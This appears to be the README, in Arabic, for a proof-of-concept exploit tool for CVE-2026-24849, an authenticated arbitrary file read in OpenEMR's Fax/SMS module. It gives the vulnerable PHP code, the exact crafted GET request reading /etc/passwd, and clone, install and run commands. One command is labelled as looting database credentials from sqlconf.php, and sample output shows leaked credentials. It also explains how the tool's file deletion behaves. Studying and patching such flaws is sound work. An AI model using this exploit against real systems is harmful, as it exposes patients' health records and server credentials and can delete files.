
استغلال إثبات مفهوم لـ CVE-2026-24849، وهو اجتياز مسار مُصادَق / قراءة ملفات عشوائية في وحدة الفاكس/الرسائل النصية القصيرة (SMS) (EtherFax) في OpenEMR. يمكن لأي مستخدم مُصادَق — بغض النظر عن مستوى الصلاحيات — قراءة ملفات عشوائية من نظام ملفات الخادم بصلاحيات مستخدم خادم الويب (بيانات اعتماد قاعدة البيانات، مستندات المرضى/المعلومات الصحية المحمية (PHI)، /etc/passwd، …)
disposeDoc)استغلال لإثبات المفهوم لـ CVE-2026-24849، وهو اجتياز مسار / قراءة ملفات اعتباطية بعد المصادقة في وحدة Fax/SMS (EtherFax) في OpenEMR. يمكن لأي مستخدم مصادق بغض النظر عن مستوى صلاحياته قراءة ملفات اعتباطية من نظام ملفات الخادم بصلاحيات مستخدم خادم الويب (بيانات اعتماد قاعدة البيانات، مستندات المرضى/المعلومات الصحية المحمية، /etc/passwd، …).
| CVE | CVE-2026-24849 |
| الثغرة | اجتياز المسار / قراءة ملفات اعتباطية (CWE-22) |
| المكوّن | EtherFaxActions::disposeDoc() interface/modules/custom_modules/oe-module-faxsms |
| المتأثر | OpenEMR < 7.0.4 |
| تم التصحيح في | OpenEMR 7.0.4 |
| المصادقة | مطلوبة أي مستخدم، لا توجد صلاحيات مطلوبة |
| الخطورة | NVD 6.5 (متوسطة) / GitHub CNA 9.9 (حرجة) |
| تم الاختبار على | OpenEMR 7.0.2 Ubuntu 22.04, PHP 8.1, Apache 2.4 |
تستقبل طريقة disposeDoc() في وحدة Fax/SMS معامل الطلب file_path المقدَّم من المُستدعي، وتتحقق من وجود الملف، ثم تمرّره مباشرة إلى readfile() بدون توحيد مسار، وبدون قائمة مسموحات، وبدون أي فحص تفويض عدا امتلاك جلسة صالحة:
// interface/modules/custom_modules/oe-module-faxsms/src/Controller/EtherFaxActions.php
public function disposeDoc($content = ''): void
{
$where = $this->getRequest('file_path', null); // attacker-controlled, unvalidated
if (file_exists($where)) {
...
readfile($where); // arbitrary file read as the web-server user
unlink($where); // ⚠ deletes the file after reading (see warning below)
exit;
}
die('Problem with download. Use browser back button');
}
يتم الوصول إلى المعالج عبر موزّع الوحدة مع مسار مطلق في file_path (لا حاجة لاجتياز ../):
GET /interface/modules/custom_modules/oe-module-faxsms/index.php
?site=default
&type=fax
&_ACTION_COMMAND=disposeDoc
&file_path=/etc/passwd
&action=download
يصبح حساب منخفض الصلاحيات (أو افتراضي) أداة قراءة ملفات كاملة من جهة الخادم:
sites/default/sqlconf.phpsites/<site>/documents/، حتى عندما يكون هذا الدليل مرفوضًا عبر Deny from all في .htaccess (تتم القراءة على مستوى القرص، متجاوزةً Apache)/etc/passwd، كود التطبيق، مفاتيح/رموز يمكن لمستخدم الويب قراءتها⚠️ سلوك تدميري
يستدعي
disposeDoc()الدالةunlink($where)بعد قراءة الملف. قراءة ملف يسمح لمستخدم خادم الويب بحذفه سيؤدي إلى إزالته. استهدف الملفات المملوكة للجذر (مثل/etc/passwd، وsqlconf.phpفي معظم التثبيتات) فالدليل الأب لا يمكن لمستخدم الويب الكتابة فيه، لذلك يفشلunlink()ويبقى الملف. كن واعيًا لما توجّه الأداة إليه.
admin:pass).requestspip3 install requests
git clone https://github.com/doany1/CVE-2026-24849.git
cd CVE-2026-24849
chmod +x CVE-2026-24849.py
شغّلها بدون وسائط وستطلب كل ما تحتاجه:
python3 CVE-2026-24849.py
أو قم بتشغيلها بشكل غير تفاعلي باستخدام الخيارات:
# read a single file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass -f /etc/passwd
# loot the DB credentials and save to a file
python3 CVE-2026-24849.py -t http://TARGET -u admin -P pass \
-f /var/www/html/openemr/sites/default/sqlconf.php -o sqlconf.php
إذا تم حذف -f، تدخل الأداة في حلقة قراءة تفاعلية لسحب ملفات متعددة خلال جلسة واحدة.
$ python3 CVE-2026-24849.py
[*] OpenEMR < 7.0.4 - Authenticated Arbitrary File Read (CVE-2026-24849)
Target base URL (e.g. http://10.10.10.10): http://10.10.10.10
Username [admin]:
Password:
Site [default]:
[*] Authenticating to http://10.10.10.10 as 'admin' ...
[+] Authenticated; CVE-2026-24849 file-read confirmed.
[*] Interactive read - enter absolute file paths (blank or 'q' to quit).
file_path: /var/www/html/openemr/sites/default/sqlconf.php
[+] ---------- /var/www/html/openemr/sites/default/sqlconf.php ----------
$login = 'openemr';
$pass = 'openemr123';
$dbase = 'openemr';
[+] --------------------------
requests، محتفظًا بالجلسة في وعاء ملفات تعريف الارتباط الخاص به (يتجنب تناوب معرّف جلسة المتصفح الذي يجعل ملفات تعريف الارتباط المنسوخة غير صالحة).disposeDoc، ويجرب تلقائيًا كلاً من disposeDoc وdisposeDocument (يختلف اسم الطريقة عبر الإصدارات الثانوية المتأثرة)..htaccess كعنصر التحكم الوحيد.هذه الأداة مقدمة لأغراض الاختبار الأمني المصرّح به والتعليم فقط. استخدمها فقط ضد أنظمة تملكها أو لديك إذن صريح كتابي لاختبارها. لا يتحمل المؤلف أي مسؤولية عن سوء الاستخدام أو عن أي ضرر يسببه هذا البرنامج. انتبه إلى السلوك التدميري للدالة unlink() الموصوف أعلاه.
doany1
MIT انظر LICENSE.
| Flag | الوصف | الافتراضي |
|---|
-t, --target | الرابط الأساسي، مثل http://10.10.10.10 | يُطلب من المستخدم |
-u, --user | اسم مستخدم OpenEMR | admin |
-P, --password | كلمة مرور OpenEMR | يُطلب من المستخدم (مخفية) |
-s, --site | معرّف موقع OpenEMR | default |
-f, --file | المسار المطلق للملف البعيد المراد قراءته | حلقة تفاعلية إذا تم حذفه |
-o, --output | حفظ الملف المستخرج محليًا بدل طباعته |